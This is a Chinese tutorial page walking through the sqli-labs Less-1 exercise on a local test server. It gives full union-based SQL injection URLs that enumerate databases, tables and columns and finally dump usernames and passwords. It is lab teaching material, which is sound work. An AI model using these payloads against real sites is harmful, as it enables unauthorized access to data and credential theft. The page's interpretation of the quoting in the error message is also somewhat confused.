赞
踩
目录
01 获取字段数 order by x02 获取显示位 union select 1,2,3,4……03 获取数据库信息 version() , user() , @@datadir04 获取当前数据库 database() , schema() ,05 获取所有数据库06 获取数据库表07 获取所有字段08 获取数据
逻辑运算符: and 、 or 、 !=注意:!!!and :并且,前后两条语句必须全为真,才为真,否则为假。如:1=1 and 2=2 真1=1 and 1=2 假or :或者,前后两条语句一条为真,就为真。!= :不等于。
--+ 注释符limit 0,1 从你表中的第一个数据开始,只读取一个order by 排序,判断字段数量,也就是表的列数union select 联合查询,连接前面语句,起着合并查询的作用group_concat 合并多行数据到一行version() 当前数据库版本database() 当前数据库@@datadir 数据库数据路径@@version_compile_os 操作系统版本
http://127.0.0.1/sqli/Less-1/?id=1
http://127.0.0.1/sqli/Less-1/?id=1’
输入单引号 ‘ 出现报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1您的SQL语法有错误;请查看与您的MySQL服务器版本对应的手册,以了解要在第1行的“”1“”限制0,1“”附近使用的正确语法
可以看出1’被1"引用,所以对应的字符应该为"
进行and逻辑测试
http://127.0.0.1/sqli/Less-1/?id=1’ and 1=1 --+
http://127.0.0.1/sqli/Less-1/?id=1' order by 5 --+
报错为:Unknown column '5' in 'order clause'
“Order子句”中的未知列“%5”
从 5向下一词尝试,最终得到正确列数为3
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 --+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,(select database()),3 --+
http://127.0.0.1/sqli/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users‘ --+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,':',password) from users --+
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。